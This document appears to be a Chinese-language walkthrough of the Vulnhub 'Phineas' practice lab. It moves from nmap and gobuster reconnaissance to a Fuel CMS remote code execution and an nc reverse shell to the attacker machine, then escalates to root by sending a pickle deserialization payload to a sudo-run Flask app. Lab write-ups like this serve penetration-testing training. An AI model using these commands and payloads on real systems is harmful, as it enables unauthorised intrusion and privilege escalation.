Vulnhub靶场之Phineas
字数 974 2025-08-22 12:23:41
Phineas 靶场渗透测试教学文档
靶场概述
Phineas 是一个 Vulnhub 上的渗透测试靶场,难度中等,主要考察信息收集、CMS漏洞利用和Python反序列化提权等技术。
环境准备
- 靶机下载地址:Phineas-1
- 攻击机:Kali Linux
- 网络模式:NAT
渗透测试过程
一、信息收集
-
主机发现
arp-scan -l发现靶机IP:192.168.203.134
-
端口扫描
nmap --min-rate 10000 -p- 192.168.203.134 nmap -sT -A -sV -O -sC -p 22,80,111,3306 192.168.203.134 -oA ./nmap/detail扫描结果显示开放端口:22(SSH)、80(HTTP)、111(RPC)、3306(MySQL)
-
Web目录扫描
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/ -t 5发现目录:
/structure -
敏感文件扫描
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/fileName10000.txt -u http://192.168.203.134/structure/ -t 5发现文件:
index.php和README.md -
阅读README.md
- 网站使用Fuel CMS
- 版本小于1.4
二、漏洞利用
-
Fuel CMS RCE漏洞
- 漏洞影响版本:<= 1.4.1
- 搜索公开漏洞利用代码
-
执行RCE
python exp.py -u http://192.168.203.134/structure/index.php反弹shell命令(使用443端口成功):
nc 192.168.203.135 443 -e /bin/sh -
获取数据库凭据
在/var/www/html/structure/fuel/application/config/database.php中找到数据库配置信息 -
SSH登录
尝试使用数据库凭据登录anna账户
三、权限提升
-
检查sudo权限
sudo -l发现用户可以在web目录下以root权限执行Flask应用
-
分析Flask应用
- 路径:
/home/anna/web - 端口:5000(本地监听)
- 功能:接收POST请求,参数
awesome经过pickle反序列化
- 路径:
-
构造反序列化payload
import pickle import os import base64 class genpoc(): def __reduce__(self): s = """whoami > 2.txt""" return os.system, (s,) e = genpoc() poc = pickle.dumps(e) print(poc) poc_base64 = base64.urlsafe_b64encode(poc) print(poc_base64) -
执行提权
curl http://127.0.0.1:5000/heaven -d "awesome=gASVKQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA53aG9hbWkgPiAyLnR4dJSFlFKULg=="修改payload为反弹shell命令,获取root权限
关键知识点总结
-
信息收集
- 使用多种工具进行全方位扫描
- 注意README.md等描述文件
- 关注robots.txt等标准文件
-
漏洞利用
- 识别CMS类型和版本
- 搜索公开漏洞利用代码
- 反弹shell时尝试不同端口(443通常可用)
-
权限提升
- 检查sudo权限和SUID文件
- 分析本地服务(netstat -anp)
- Python反序列化漏洞利用
-
经验技巧
- 维护高质量的字典文件
- 尝试多种payload编码方式
- 使用443等常见端口绕过限制
参考命令总结
# 信息收集
arp-scan -l
nmap --min-rate 10000 -p- <target>
nmap -sT -A -sV -O -sC -p <ports> <target> -oA output
gobuster dir -w <wordlist> -u <url> -t 5
# 漏洞利用
python exp.py -u http://target/path
nc -lvnp 443
# 权限提升
sudo -l
netstat -anp | grep <port>
curl http://127.0.0.1:<port>/path -d "payload"
通过这个靶场,可以全面练习从信息收集到权限提升的完整渗透测试流程,特别是CMS漏洞利用和Python反序列化漏洞的实战应用。